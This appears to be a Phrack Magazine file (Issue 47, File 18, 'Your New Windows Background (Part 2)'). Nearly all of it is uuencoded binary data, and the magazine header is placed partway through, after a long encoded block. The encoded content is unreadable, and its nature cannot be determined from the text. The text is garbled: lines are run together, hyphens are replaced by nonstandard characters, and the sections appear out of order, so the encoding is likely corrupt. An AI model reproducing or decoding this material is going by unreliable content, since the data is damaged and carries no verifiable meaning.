M$\/V@WS2W<XMBD,D96,;R)"0`1G`P14X\*P27*0P7DIV7+V\Y>,#!5‑^5Y].N M.:!<QDZM8063P/:SF6&9"P#$%E(.""5X/X5>L=*M=0TO3D3?%<SW;1‑+@$8PQ M#_+I[YH&V[7*6I:?;PV4%[9M.(9)7A*7``<,O?CM_*LH=Q0‑"]Z*!A2&F(3%? M.Q0`8HH$)@$8K*N;QKDR!]JONZ_3CK2:N95"FR.,$J0#T)'!J>#$<7FA@)%(0 MVCTH>QD1F1F)#/L[\U$K,C@@X([B@0N2Q^8UI6,=PT+"WC+=]V>`*4K6U*C>[ M^AT%B`L,`\U@JX+)G[V?;\,5*UL‑KI()(V61E+‑RJY.?Z@=*RO8W2+TRQ7L<M M@Q)$BD;4*9V$\`].<[>_/04V!E:1V,TFX7(VE$^;>!R!CHV".:C4I"R/J']I' M$RL\AE3?$J$A1CJ=HX&<]>U6UT,6L‑IYODN\C$?,V3SGD<=.<?C0W9:`EW*N[ MJV$OV5$MGBFD5@R%ER3C.>O(Z_H*9'IBM;V\DT[[`581Y))+#KUX]>_2A3T#B MEU*L,?\`Q,OL43;%64B4="QY!XZ?_K]J>+*"]A"DQQ*&'\1&1N^\3_G'‑4W;3 M425S‑O[=+*%F5(\9)B*\/GH=W7@]>:PY'DD7S'5LGG<QXQ6D7=&,E8:"L2LDX MH96/(&>,5"R#@H,>O.:M$L:,@;2>#4]I(L+2.1\P7Y1[T[7$C4O)I[;2K:`G, M"<G`_O=\^O6LN"Y:*0MG`)R<<5,4M;%‑ZF];30R/$4S&6!+@D=.F0/7%5KW48 MI(XTC!;."#N.<#J!_GK4J[=F4W9"O?RZAIJ6Q<O+$#QZ^I)/.?>LM;"08>162 M5`<9]_2LXM0NB7J=‑8:C;P:HDDLR‑Y:‑M3OG`.23_3^M.N0D\\E[%?22P,&<= MXE(R^.!CZD5A9IW:+Z#;.TOGL;:=8#+;RG[D9$;D>Y.<YQZCI6M<7%OH\<8L; MH+JVGE7:\<Z967(/\7/3I3E9Z(T2=CDK_6KE]1,Q*[5^3RS@JHZ8]^E9%Y<)E M<3>8D2QY`W*HP,]R*Z80M:QA)W9"C8.<#\12HF23@D#KCM6A(KQE%##[OJ*6T M,*Q`D;8.Q`HOH!*R,Q)B9IE4<G'('^%1>8!D<@^H/6A:C8D(C:11(Q5.Y'‑3( M".,HS!P,=FZ__7H=T(DO+=[0!)'R6&1SP15‑.6`)P/6DG=7!JQ;AO+BR)$$S^ M("`<H2#5I‑=NPP8OTR>.‑Q]_6H=‑/4I2:T('E>Y?S9'`8DX4$+P>O‑:D>FH]% MCN,I@94+#$3NC`]LCBID^6R145<JM;7$<(VK&%;^]P!CW‑7/*>&)%E9C)D[BX

MP]A0FKEPBTR:TLKJ]=EM+>6<J,ML4G'UH^RSKYI,$@$)`DRI&PGIGTK4TN2P` MZ?=S>6(K65_,4LFU"=P'!(]N:DDTF_A_UME.GREN4/0=3^&:`NAD%A=W*JUOM;R2(S;5*KD%@,X'OBIWT74XFC62PN%,C;4!3&X]<#\J!W2((;.YG$GE0NWEL: MJO@?=).`#^/%.‑A=+/‑"8)!+"A>12.44#))I!<M?\(]J_D^;_9\_EA=V['&,X M9S^594<;33I'&I9WPJJ.Y)XIB33‑*&TU6*6?28H95DF`,L``RP'(JW8KX@OKY MN:ZM5EDE4>3*Q5=IQ_"0>#THL)N)`]SK(%Q.\DX,,ZO,Q`!23&!G\.,=*F,^V MO33+?9F+QV_F*RA0!$2<G'3!(‑%AVB‑A@US5`TT0EF%S@ELJ`VP\?3!(J62P* M\1)<Q(ZSB::8S)AE!,@'+<=.*!7BM"G*FJ:O‑+),9)Y+=EB?<0‑A+8`Q]?2@= M6VJV[7‑BOFQ^0//EC#X"[<?‑_+I3#38IWFH75^RO>7,DY08!<YP*EET:^@NKY

M:WDMRLMR`T(+#YL_RH0]%H6(_#6IS+N2%/OL@!E4$E200,GGD5ES1/!*\4J%W M9$)5E/4$4"3N:,&@:A<6T<T<2'S%+QQF50[@=PO4]*=%X;U":W$R"W\L@?,;L MA`!D<`\\'VH%S(B70[YH;>4I&D5P2(W>154XZ\D\=*L'PMJ2RI%BW,C<A!.I0 M.,9SC/3`ZT]@YD16>@7M[;Q3Q^3&LI(A624*TA']T'K4+:3>1V,MX\1$44OE0 M29/*M[B@.9$‑Y936,JQS@!F17&#GAAD5DWFES6TVYX059/,!4D@9&1GW]JF4`

MDB9JZN4)?/52)@P4=F!&:KD\Y‑‑6Z&`Z‑6FD5$&2>*4Q,O(4X['UHOT"QH:3& M9I>7:Q,&9CT4#\\UZ@‑$M],TMY8@S32IG('/3&,=/_U5RUI._*=%*.ER._T:N M6VM(DFCC62.)581YRW7H>N<CM[4V?1+I[%YDN5S<@$J5X;'/![9Z<@^]9\YI( M8B,)BM1OMKC[6%#P!P&`[$C''=?IVK"U!7M]4V7[DQD+‑(#D,‑N1V[X_/%5!. MW82T.I@O‑&MD27S(9F>5H(=JY<G^ZPQD8[$__7I+B!YK98?/>2:Y8L\K*?D&, M.>,=,#`[=*G5;CW.‑O=>CMKJ6V">9&Y.Z9AM9CGKQ^‑=/;7.G7LWG#:=J9"@Q M\8)X_P#U4YIQ28HR3NB'1Y+:ZO);U&??]J.‑YYZGD<^G\JSO$DMK!I82)&Q,H M21‑&H(&&X&??G@4XW<K"E91N8EEITY^R+>OBWG;B,QEI".>=HYKI/["U.6*:/ M2:&%E(5%1Y"I0=><#@D8X_6M931$8LJ7_@"<;S#*D9+$"‑5)7IQC)SZUQUQ8X M7‑C=&WD5DF[#ID55.IS:,SG#EV`I);EEEB^8`'ID#H>?PJ‑`SS?(I/S=`/>MG MEW(.CUZU(LK.8NH6<'RXT&3VR37.R6YB16(.&SM)&,U%‑Z%36I$DK(X93@CB! MM:'1KN[037"3H&P$/DL1^E5)J.HHJ^A),EE%<?:+29(U9]AC92001RV!GI_66 MM&UMOLKB4J5WL\:‑+\Q`Z8`'<_RKDDW;4M)%"^TR'<!"0V<[G!X8X[4D>E75# MK;K=6L0>($[Y&'0XR`/P'6J4]+,3C9Z$D?B2^>_C",BPJYPIV@<C')^E;2W]Z MH[RQS:H$S_<R_P"&2*B5.UDD;0G?<J:C8V,]F1%&[HN524X3!SWKC9HC%(4)_ M!(.,@Y!K:BW:S,ZJ2=T`&`#MR/K2J[(Q,9*_0UMN8DL$J1L=X4C&0‑H//I]*3

MG,H:W,+VZ8Z[PN",^]2UJ4F.LS#;7`\^.)D5N79=V/J.XIVKR">02"]%T<#&) M`1L'9>>@'3`]*5O>N/2UC‑13_""3CM4REXU5T*XST'45;($EN'E;+2,V0`<GG M_/TJ7YW*^7&L)V\",$ECG_ZWZ4K)#)K>PN9;K$T#RG/S!GV^G)/;KUJ]/:VTJ M4NV73UB`78P^TY;=G.1T`;`Z'CK6;EK[K+C'35$FD‑+IMSYUI)*LRMA!(J*I. M'H26K4%SJT]X&GGAMMY5F‑NHR?J0/8<>]9346[M&D+K1&H‑/DN`(‑/OC(TC&6 M29A$%#>^[KT([UD:K9P69ACMYGF."9&DZ[NXSWJ*<O?2L78TB+G_`(1"P&FBA M7!GD^T^1G=NXVYQST_I5^`3II^LG7UD=O+M]XB9=^.=N>V>F<\UUDFC9&`QVK M!M8[CR/[‑N=B;OWGWUX!'?TK`N+R73=3L;Q+?48HXVY6]D+;\\$#/M0"[&U$R M4MO&‑IIELA2UM(Y‑B>K,I)/Z@?A5;3X777M,*Z=J%HGG$,UU,7#$J<`9Z'K09 M%RS:O#>Z?<ZG%M62XFMTN(P/NR+)R?H00:L79AO;O6IE(2[M;6>&1<??0IE6O M_#I_D4Q=2IKMB]RJM'HT]PQM4Q<K,0J_+_=]JY+2S_Q.;#'3SX__`$(4%1>A5 MZ%&\?]K?VGQYK2?8‑O\`M"4\_P#?(%<[JMC=:KIUNFFQ‑,(+B=9HXSRLA<D$MCZ=Z"5IJ7M15K^UU:SMB+B]5+;S%0Y+LH^8CUJ2WFFTJ'(4"ZM=)0M&W8^83T M@_@?UIB\C/UR*T32M'>R(‑L]TTD8/\`)!V_ATJW/'';:MK]_)<K:9*P13;"V6 MUF`).!ST`_.A#U)&2);C4[J!D,%W]EN$8<`_O/FX^N:DN+FWO+K6O,=4O+:&R M:(<@>9&1E?Q!R/QH$<9I%HM]JMI!(0(VD&\L<#:.3^@KK'NK/5)H;B&^$[VU, M^L@W(8]D;G!49ZC('‑!3N,O[O3X39&[MH[D?;YL$2X\K]YG=@=>Q_"N8UT/_6 M`&W>^9()6\T_.,<_E^%`1.CTR$W4%A]J@M;FV2,#[:DWE2VX&?E)SGBL>S6.3 M30]6MHY4)>ZA$9=@"PW$;O\`&F(U]2DTV>SO]‑@O"[11(8D9<(#&N#M;H21F9 MH[>Y@'BS2IC‑$$^QH&<L,`^61@FD+6Q3FLFUJ#39+.>"/[/$()0\H0Q%6)W<G M]1SGCTK7NM>LS!>R@I+:RWVR2//,D9C`+`?49_"F#UT,+Q1Y!U*$6LZSQ+;1<

MJ'!!S@8Y]ZS[:6+4+>YL8‑#CGV+DW"XWJV.>A&[)[9_.LZFU[V#I:QB7"R:?_ M^YOH'>5?NI<;ODX_N]*I)MDF4D!,GHIVX_&B.UT8O<T]3L!88G9)FW,I`N(PK MNXD')XX(X'^%07>M7=VL2RREC$<IP/E]<8[U$4IV;Z%2]W0Z_P`)VUUK;&5=? M‑BD12!YI=5V`#'"]^O6NR2&X=X(_M1:!)8]T(3;)CIR0>@;'&.<&N62M+<Z8C M/0Z&ZC22",JJL&((#L1[_G5%;19+H&‑'C:,$.`,`L><]><9I/<2T0EWH,4UH9 MZ07$B,K;D.%;'MC'0^GO7&:PTUCK&@?:+..,^<$,D97;("P'`/((R>#Z\$U<T M4KV"[:+,VB!LWNCQAK_3%+#Y.)L,P921R20?T]ZW[>XL=:L8KR!G83+YK9!R^ M?X<'T'!'X4I7:N/9Z',^(?!=K<+YT<C1DOD0HO))!.,]OUKBK6TET[498DD8_ M8X:‑'&\#T.>"?8XK2$[Q<60XV=T&L1RZ9=@023HZL9`)%*$<8+<]2?;/;\.D[ M\‑:2NO0)<W.K2SRQ`JD!12$XQT((!YZXS52=H*5B8ZRL=[9Z%!IZ6WV5$&6_) M>N0"Y/<ENIY]:T;B%#&VX?>.6QQ67FS2YE:_=KINF7&H‑'YFQ2=G3/;^M>1>& M(==&M7QDCA6.`)M5653CU^E:48W=^QG4EI8FTXKI]A%J=K(S7$>Y9X)AE'0@V MCC/7`‑0^&‑3LM‑N;J2\C)9XL0_)E0^>,]P/I6UG),F]FC9UB+[99@V\2QN?FZ M+2H1+)V#,>%4>BC/%<?B:>00KND?.`H.:*35@FG<[?PCX7NX)DO9]/@N5(.$G M,P5E/K@C'ZBK/B&ZU&:Y^QZ7#Y<D`W.XECQ%SG&0<`^W6LI.,YWOH:).*LMS+ MDK:=]7GBBE!S"F%<1C(''7IFM&XMH(H'$$TEW;#.U57RY(R,#+`]L_Y%.2MHM9K57'6,:+)NNAMQEU);*[1T]^3574+J1@\,1$‑NBY)V;2S8QSZ?CS6<5>0;(S MP1)ANN?8"M+[‑=Q6"71``F((VG!`]3CUR,5TRLK7(BR.>XFC\Z.=I#)&<X<GM M)YZ?J:JJIO90FP;NN5H225T‑N^@V&W=IHXE<#>0`6&0N?6KT&F13PSO),$*.0 M$B`X+=O\*'*VP)7W*,]E+&%D)#*Y.&]<5HVE[=Z0Z12Q+‑'@2;`W(&/7MUZ&X MB5I*PXWB[FG:S:%,DA6W<3,I!A=1D'/K_A7/WKP+)+#`G[HG*[EP5/?!]/:EJ M'FO9A*UM"/3F*7L8"[]V4V@=<C&*9<PF";HRAAE=PQD=*O[1'0=`J1*7(D:71 MCR]AQ@Y_/\JMRR2+&LJKAV(#RRD;RV!T`Y`^M2]64M"VT^H742K/)"=@R))H/ M\$]NOXU49Y0T8=IA*N"K;@3G\L_3TI)):(;;>Y)_:,S8,EQ+(5Y^;DYSQS6IJ MI,D@N5Q)(4CYV(`6]023T_#%*4+)V'%W‑9"UEK‑K(L[PS/*5,LTO&!C"YQP.N

M?2J_B$3F]5[@KO?<<*Y88SCOR.G2L8+WDS5%*SU"\T\L;.YE@W_>V‑C‑(UW<) M‑YP:XE83$&7+D^81T+>M=(QT=]=PE/*NITV*53;(1M!.2![9HN+RZNPOVFYFG

MF"\KYDA;'TSTH"R$^UW'G^?]HF\__GIO.[\^M/:_O'VE[RY8J<J3*QP?4<TPK MLB%)9(U(21U#$$@,0"1TS2F63<S&1R[##'<<M]3WH&*;F;&#/+C&,;SC^=0\$ MB0$$@B@"3>V?OMUSU[^M6;:WN/L5U>PS>7'`563#E2=V<=.O2@![Z;=VUQ#'\ M$K2320K,OD9)"L,]JA2UNK@LR03R8)#$(QY'7‑%A70GV*Z\U(OLTWF2#*)L.1 M6'J!4<L4D$K1S(T<B]5<$$4[!<E6QN6M6NEMI3;KUD"':/QJQJ&E3Z3':M<$: M!KB,MLVD%1TP3Z\T"OT,\TW:‑Q.*!B@8]*3`Z=J`#`SQ2$4Q!1CB@`(HH`0U8 M>O\`6‑,71K>WB23[5;J"P,K[&)/(VYQ]>*RJQ;M83:2,)X[&>ZE(E,*<!%494 M&3]3TZ_E6_IWA&‑GBDU`/]F8*T<L'*N/<]5/Z>]9RG**,XP4F:NHZ%IEM"7L9 M]25EB_>/]HB27<,<8+<]CCG!K#U/3‑,FLXQ::A:O>9^8)!Y8(^H/]#64:CO=$ M(TE#2Q7T<ZM9R‑:V+%6D&‑ZD[>2,D8_IDUZ=IWAZ1HQ(+E(YF^9IEC=6=NH)> MR_;G&1Q14MS:=2H‑I:FH;B[T\1^>(KB/&#,H(DSG^[SD?CV‑4D\007,[SV4GV MFDJN;=R4E&"0=JD?,>G&?QK+H4DF:EE=PRQ.8I00[$J0><^M<UXRLI‑5L+2W= MM0?M(;='MQD$'U[=,_A3C*TD)Q98\*7‑Q&DL,XV3Q(J3J1@LW+!OJ01P>:J^A M$IKZ'3Y;&.*!8X9Y(7F9\%!NSM`Q_M'')_"J=M;!U‑?4=1A@CD^1HS@R;G7<0

Your New Windows Background (Part 2)

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 18 of 22

Windows Background Continued

‑‑‑‑‑‑‑‑‑‑cut‑‑‑‑‑‑‑‑‑‑‑‑‑MM);D,=P$9R.F3RW7WQ6‑H=GJ&@:W++96XEA&%\N:7:9#UXQT/IFE"<4G%[%.< M+NFCT6P\465[%.V&A:W4&595P4)['_'I7/P_$JSGO)(C;D!79,[@=W(`(^M." MTF[+H3HMR#Q]NO‑‑B>V(",NX#=[5Y3NP2#6V'=TS.JK‑'1:9>Z=(QM;MI(X6? MM3&70$[7]?7'K6';^4=PF+#CY=O<UI%25R9‑.QTNG1ZMKVF"P@:"*SMR0TN‑I MID]L_P"?>KVA6]EH.NN]\T4:QPY4LP[GM@GT_6LI‑*\([FJ6TF;.J^)Y9[8_= M8=UE8,‑KWLG#D=<1KU_$URNB76GZ6]W>SH)``1&@.Z09SR">]3%‑1:075[LA8 MU:^A.HK<16:6X8GS81PA/T'%.LM7N(H9H;>2.,.6DD)`^8=U&1[#`]JTM[IG\ M?6Q9@L[>YMWN‑/N&<Y(Q@C;CM@Y[8YJM#8W‑_*$?RXXMYR9BN#@$YSVXS]*R2 MC+5WW0VNQF(H^U'?$N%Y;<H[>U+%)‑%=?:2`=IR&?D8QQ^5;O4@V;91>V\GD7 M0&YD^4Y!^9CDC!^O%)‑8E"PNOL]BX0A8]I+DGC''UK).VGX&T5=#SH_E3Q‑&? MIEC<;@H^4A<=Z@MK0#4BKJT:9+*N,<X‑4IW!P2#[+&‑6@AN"ODB8MP`1@\_SF M`K1T[2UU&YD(N?)D#<B50V[GGM]*)2LKB41^I^$OM=^T5G(LS1J`Q4JI5OKVM%<YK.CZAI:O%<K'*JMEY4"N5..C,.>].%1.R9,X‑:F*C[&5P<%3P1UIZEY[@I ML2"S')9^1^‑;^9DCI['3/LL+7+V']H6X5M\LD;)M`'ISC'/2M'4(‑.O‑(@B@/ M@BB,9W2;"$#@=.0/0GKSR:Y>9\U[G0HJUB*'0+:73/.QB‑G`90V613SQ^E1OQ MHL[Z:#+"V]%+*@8?N]O#$CMG&*I38.")+/PG'<;MMU&\@95VJ1\N>Y]:['3_7 M``QI^G[620.P5E&YASG'./48J:E1M6",$B/4O#<5_/(]S*51G0AN<C@@GTR>1 M/RKG/%‑M;6UW`+21GC9"26;=SG'6G3E=I%6,(4ZN@88HH`!2@<T`&/:E(H`0O M#\J3'S?A0`NVM;2M5.F:9J$<3E+F9H_*.P,."<]>.]`FKJQI2:[;7:21R7$][ ML\UO`K7,<?S!T^\,`C@Y[5(WB>W^U))&;B‑?MRS.%X+QA`IS@\DD9Q03RLAM, M_$=N$@6X,TC;9T>1EWE0[`KC)YZ<BLO6KZ/4+U9(2Q1(UCW,@4MCO@?U]*8T9 MK,OV^M6D5M;NZW'VFWMGMQ$,>6^[/).??D8YQ6;J‑Y'>"S\M7'D6R0L6QR5S[ MR/;F@+6*)'%)CD_A0,7%)VI@&.*0@^E`"8I:!!BEQS0`A&T<BLJ>S$DUR\DHT MCV@%=PX;CIGMTI‑V,YJY6ACDA=9%174'OR#[5J'Q5J:3!XY2A`P0``.!C&`*, MSE",]R(R<=B[%KMUJHG1K='9E^;.U>.,GG_=JWHVCR/J4$UW:"‑6.Y(E4$L!5 MR"O.*YY)4TTF:1O)IG537T<[1PO9[FD.`[(.3D9;'?J.:ZF,&VL@\TFW;C=CD MVZ@>]<RT1N]CE]<\5&)MD4;NJL‑P5L.#_*H+_5VOHH(Y[9XB`)%=H<,G.3M[< M@_2JC%VN)‑‑V&Z<‑4\V5;>56Q,0QVDX.,`'\?PK8TA&DNU>2Y=KA(A(H&‑H!P M!&#^.?RHE;H7T.<T]YK35M0@6262#82&D;&XA3M.>WUK0TN&Z@M=MO(YW,'&S MU<Y<]6?."1T`'4X[]*MV9.IA:Y>F]\NVC9U53MF9@R@*.N<Y(Z>WTJ)_$<)MO M4LX(_+(&U&8?='X5:IW5D1SV.9M[N[LKAGANVB8'[X8Y_,UJ'Q1._EB?YROW` MF'\7O6TJ2D[HRC4<=S0N‑7&J[8XH?(NE)5+C.'VYSMX^\/8G%<E<;EN&(.,'_ MDC(ITERZ,*COJCIK7Q‑>O!'$5+1[=K.6P<CG@X].U.U[0;+^S!J$3&"=CGRY[ M'SO&>H(]JR2]E‑6ZFC_>1N8L%A%;H\U\P81.5:.‑LG(Z#(XY^M9G4D@`9/3T? MKJB[OR,&K6/1;;4H8‑+2UT.U>\:%‑K3L‑D*G&3SU/.3@5Q‑[‑)#J9‑P5GE0_@ M."HVD_3&*PI+WG??\C2H]%V)1?PJD@6UMVED7&73)'N/3\*H3_(P7.!],5O%J M‑/4SD[CSYB*TK,I1SC!.??I3)")=HY)'.!0EU1)MV5RHL7C6=X&93O55RKX(! MP"3C'_UJSWM9TY*HBE=[$'H/?\ZQ2Y6[E/5"1011J1*_F;CU49[>OM1(8HA(N MC3.8WSA003[`FG=OH+8+#*C?&6VKD\.5Q^(K>T>X:U5KTI).C'8PSDL1W!/.[ M![4JB31K3=CHM1U^1=/BD2%[4,BF+<5Z$=_;%<9#J$5K="XE1KJ4XP7;@'Z5V M%*GH[,JI/8T5\2&UB9H(H8I)#G=LW$<YZFG6?B>>5MTQBD7EMHB5<_7J:IT>1 MI*J:EE_&4Q7R(K95WC)4(,8//I[UFW^J2WMC<1.@3))&SA>W'Z41HJ+N‑U&U*

M8Y=X'C`+*1GD"M?1(K?S0USM193U[(G?WK:3NM#*.C/0])66'08R4)9F=(HBJ M‑QV_4?UK&U.6".[DE@O8DG6(*B`9,BY/R‑[``<]L5Q17O,Z6[1(6\1VG]ER[? M1)YY7"1O@@`'N1C/)].:SO\`A)91!&(U2.1%Q)OCW;S[#T^IKH5,R=0KR^*K$ M\RNT.R,$;<;`#C\*;+XFGFV++!$X4?W0,_I5*DNA/M&*NO[)#(UA$7VXSO(.' M"/:K$^JRZND+R1K&L2^6JKT`Z_UIJ%G>Y<9W=B`"G>]4:!29QWH`M:?83:B\` MT=N5WQQ&3!_BP0,#WYK0;P](ERMJUU$+EQN6,*W*YP3GMWX]J8KV%?PW<+=ME M;I*CL(FDSL(Z':!CW/2JUUI9M[3SUN$D*B,R)M(*;UW+UZT!<H4G\5`Q<U8M[ M;7[3%<.9‑ODA#C&<[F"_UH`U6\/1J[(;ULQR%)2(AA`&(R1NR.G4C'/6E_X1C MQ712ETPDD;;"'5<,<*1R&YSNZC/2F1S$5YH262DR2W$F]V6'9#U`4‑EAGC.>D MG;!‑27.AVUM/<*9;F58"JL(U4LQ+8X]ACGZBF%QUMX?ADN%@EEN(R%$CR&,!Q M<$XP!V8?4]".U5‑8TC^R5M0TI>24/N]!@C&/J"#2#FU,LYH'!‑!0A‑:&CZ8‑! M3FF1Y/+"J`K9`&\G"CG\??B@3=D7X]&M#<I;E96E$*NZASD,0O!`3@<GIN]\3 M4‑HMC&RQ,TC7(4LL2R`F7&[Y>!@=!R"<^E.Z)NS%O(?L]RT9B>$@`^6[99<@1 M'!/^346*!AM]C28%`"'KC\:SKR243L2T;1PX81N>I(]._2E(F6Q;T[6[6V2)4 M+F)Y06W2G&>_8<9X`SDU?TZVTG5KR8.I5601Q+W#'OGIG//XGTKFDI0O)!&4]

M9:,WO[(@T^TBM1*B/'B1Y‑H<'(P!^C?Y‑;‑D(+C24'VEUD$9``D+!0"?X3G'M M%<<I7U‑EH9OVW4;!E<"RU`L`5&?+8#H`.H/0\>M9NL>.)9QY%S;26[8SM?@CF MVZ?K50I\_P`+^1G*;17\.V>HZM=AH701J^_S6;.<#'`YYY/.*M)++IUXT+E9\ M2C*S&3YCDMR23Z`?^/"KE:_*BZ::5SL]#CEAT=&F8%I!ECCA1@_GS5G282@NW M6B"LJJ`KYY9LG.?;I6#W+>S.6GMX9_$KZ?\`9V\F>)EW`D<X.0/<G'T`J>ZTY M^Z>Y>SB=9%*[IV8E0!G:%X[8'3O^.1?‑L,P‑66QACOK=9EC=(RQ6%AN<^Y)P^ M1[`=\YKFKF+[)9:>2H0S+YS,5Z\G'/7I]/ZUU4F[:F$[7(KY(_/V(0/D#'ZU? M76RG+;8E+Y`.`.QK:+LM3*4==":*.\BN$)@D+9X51S6A!;322R7K6H6/&!'‑0 M;R,N?^`KCM0^7HQJ_4FD\/P3‑&=*U%'$C$2QR`#8P]EZ#MFM‑PNBZ4MIJFEO, M9I<RKYMU%+YB%`<D8'0G&/QS64I<UH[/\RU'EUZ%3Q181W5I!J]F4:*4`$1@P M<#W]\_SKE`IWA2"#GIWK6D_=MV,YKWC8MM9O%MFLHY)B&^2‑(OE`)&```,]?> M>KM]8VZZ/&KM:031*`R_‑OW?GS4\O(]"T^9:F))%&%$N]G;C"!=N/K[5)?L", MA,BJ)3@`!\[1Z>__`‑:M>QGT)X8+4V1B.W=O#[AR>A'\STJNN!(0.(U!]BQ]V M/\]JF,FV[A9(GLX/M`:*1\&1MRQE>&P#SQT7_(J]J=A=K8HTLF?*7)0JN%&>% M![GO@U,I)22&E=&5,7&54[&8?="XR.U6(M$DDAADD9E:4X52G]?R_.AOE0DK$ MNQ8O8+6&9TAD\F*/*_*<@D<9_&J#3&‑1Y=W*0%)^3C`IPU6J'+1Z$JZ;<W`1^

M^2FS<.20`,?XU5‑K(FT["<]`0<G_`/75J2Z$M,O26JB#;+AYV(.%(.#DYS^&V M*L6,/E6HDCC(W$8('^]Q_GTJ)/0J*U+5G87MY"DZ1.T3`C.!Z`?I5JW\‑7TED MA.[O&(@2Q8L#D=L?D?TK‑S2T‑%%V.5DN/W,A=P2!@*1R?QK9M[6Z"03+%'/#A M$H#8X4``#DGC/M3G:*U(A%MZ'5:WJS6/A6ULE"QW$L.]UA)'EC/0$>O`KSU%O M+SC`SSDX_K125DV.IO81X),"1D90QQG'Z5+8H)KH1‑*(E8'<Y_A&.?TK5O0A1 M+4LRQ+<&&&RB7S[@[F2/^$9^53Z>_P!!5&:RN(KTVCQ.9PVP(!U^E*+Z,<EVB M)‑2@FL[PI<Q/&Y5>&ZG@#^8JSIY_T<X_O&J3T0X?$6L4M(V#M]*3%`#HIY+<V MMY;E"PVDCTR#_,#\JNG6;]F+M<G<6W;RJYZYZXR!D9QTIAH(FHW]L=B7$L1#K M;\#Y3G);\LDG'3FDGO[R]B$4TK21ISM"@`8&,G`[=.:`T*N*3&&%`"X]ZEM[8 MJ>TD,EM‑)"Y&"R‑@XH`D74+U41!>7`1&W*/,/!]::]U=SS*QN)Y)=V5.\ELX8

M`R/?``_"BR0%M‑/UE+=@D5VD!785WD`CKM(S]>*@EN‑0AG'GW%VDR`@%Y'#`Y M'J.3TI>ZQ;D(FF6‑8Q‑($4Y"AS@'U`]:8SLP&YF;'3)SBJL,0"@CG\*!"<>E+ M.BB:9V`*J%&YF8X51ZDT‑V5P$$EF"/\`B80`XS]R0?\`LM()+%B%&HV_/`RC` M@?F5IVG_`"O\/\R/:1[CI(&A<HZX8<]<@^X]:3%"=RA"/6C'YT`(O))]ZKZOE M?0?V;'9R6)\T$NEUO]>P&/ZU$DW:S)D]#&M+.6\D:.%2[A2VU1DG'M5^*Q1B. MAAGA92"#O7&2.H!(`S2G*QDD=9I%QINGB$:@EO)$J\.GRO$PZ'>!DC&1P3C\J M:66ZTR:RG@FO9(VSE&642;\]P>"#ZUPR4F[V.G1(JZ7I&FZG,DMUJ;NG&0S!7 M74CH"?Z^U7;[P.PN#<VQ^T0L‑S+‑G<_?KZXP/ZT_:N+LU82IIHZ;1K&TTL1BY M.'R‑Q`W8QN/<#D_Y%4]?TEGF>6,EE\OY4XX`/4^WMWXYK&+;=V;[:$)ENYK*? M83W1B:4XCYQY:`$9'UR.M=%HU[:?V9,T,T9*\2;>BD?_`%A4NRV'):$=G:PGD M4/.3(="6=CQN;H!].:;JUG"]H\=L_E&1LLZDL<GUYS0GH)[G‑Q>&&U%Q#‑<J* MEJKY;RF4<]`N.O'/YU+KGA"*[OH,S`0PQA%39T`Y/.>>O2MU5Y;‑$N*;L2GPK M?I,]PC%1OB`#,X8[CTY`]_0UK#PII;1;H$1`%VDQ!D)'X]*E59‑:L32B[V(;O MC2]%A8[HXS<,P9B#AN/I45M=NT\JPVLC6JL,N&SM.>0,]LXJ5*[U+2=B75M+Y MTZ^E$EU803!GP9/(R_XL!G%4X=$LH89UTNXNK0`D>7`^Y&/?Y&)4_I5>UEL]< M43R*UT<;K6C:II<<LXL#'`V1*\`'E.OJ4YV$>W`[8K`NKH3ZF]W&NP,^]5STN M]J[Z;4E=,Y)73L7;:1+K4XYGFCC`;)PN]MW<X/4U=U"[22>!+:2[>X4'$DN0& M$]E4@<^O2AJS2*3T,BZMYK=\3,?,90<*PW'/3.*M6&DI>W0^V3)`K=PWW?KZ> M?C5N22NB5&[LQNH:<‑‑\@,51FPY(.3@]#^AI[‑`\Q**I`P(DV_>8XP/J>]9*8 M3:N*R6AIF!!,9K7&2OENT9)W‑P#M'7!/^<"M:;2KJ\B9[C=#:@L6SR6'&!]3W M^'%8SDE9LU2+>DZ)::?HIGOUBCNI"W[M\?*`>!D\U;4PZS,D=FICC@'R*ZX(* M(`X//3(_*LI3;E<N*LC#;PE<V_FI;.9?,#;I,##$]%&3G&<5D_V)J,#S>3:RN

M,T4>YVC&`&QR`W?MTKHC53W)=‑K8W;+3#8V2+)9R"68#S9&4;4#`<<]\_CUJD MW9^']\<0C9)/F^<X.$`Z$`\9QQ^=8RJ6N6H%J?PS'/*)#(/*C!'EHFWSCR!NH

M.>:NC0+.XM5MY$:%+=AM9#T^7'!]LG\ZGVC=BN6Q8FT1GB‑O:S/;6GE[!M&"R M3C&1FH=?CL]#T"]G#F2;RR(A(<[21MX'XT1:O8&W8\7/)('/85ZA?^;>FUAL3 MY+5‑,SYFQ%RK$'D'../\*Z*^C5S&CU,^Y\‑7‑P\]LUP^PL"DI0E>%Y4<^U0S3 MZ#;:9#(OVL1I+&@E,BDGE3]T<<YSQG^53&IT13AK<JWFB02WT4>G3.1(5\T2* MXSAL8(Q]2?6J&LZ,;"YFCMRQ12(TWCE^,DC\OUJXSU29+@3:?HUQ+87<D+1KH M*;=63!((VD$D?7UJ6VT^^L2;U66=I1LCE?YGB)'?/?J/P‑#FM4QJ#W,G5K>0H MWTYD<R‑G#.S9+$=3],]*DL8FBB9'ZASS6T7>*(BK2+8%&#1<U`BCZT#)XKE[N M:ROGB(#+"&&Y0PSO4=#QW/YU!)>:K%I0U`01VZY&)!9J,@]"&QQ^0]C6].*:? MU.:HVGH.@76)‑0DLEDDO3'&)&+QK*5W*#C+].6QU_"I[*[O9K35(;S,;0&‑?I M*V!`F6(/``YX'‑7.,;‑HB#=TB`]*:<[QS@8Z5S'6.%)CWH`55+$*O)/`'O71K MW#0>$8;82[6O[A=^‑I;8/5L<A1TXY‑%KNQ$W9%‑;[5"0IU!`HV$0)&I28G()6 M#%<C`QU!SZUH:?<0:[.‑*U%E%S@[)TC.POC)"DGKT)'0CL.]‑J2T_K^O\S)7+ MB[G/W=L]G=RV\HP\;%3CVJ$U*=S</QII'SYR>E,!:<5\RQNX3T,9D_%/F'\BV M/QH;MJ)ZIDWAS1;34[ZT,UN&2=R6522J@<D?I^%5==TE‑(:8K#EHI3'M.2O0D M_,/RZ?3TKMYM;'`69T$7EPJ<K%$BK_WR/ZDU":X8NZN=^PE(>>@QG@"F`WI@F M"KVFV:ZHK64J;USO3(X#'C@^N.0..AK.L[1NN@TKLUM&\‑?8IE1[:*‑9OE69: MLN&;H%([=SQU['M6/XKTC[/KB`6B1J$+!$7:'&[V^O6N2,VYWN.4$HV*>IZ$R 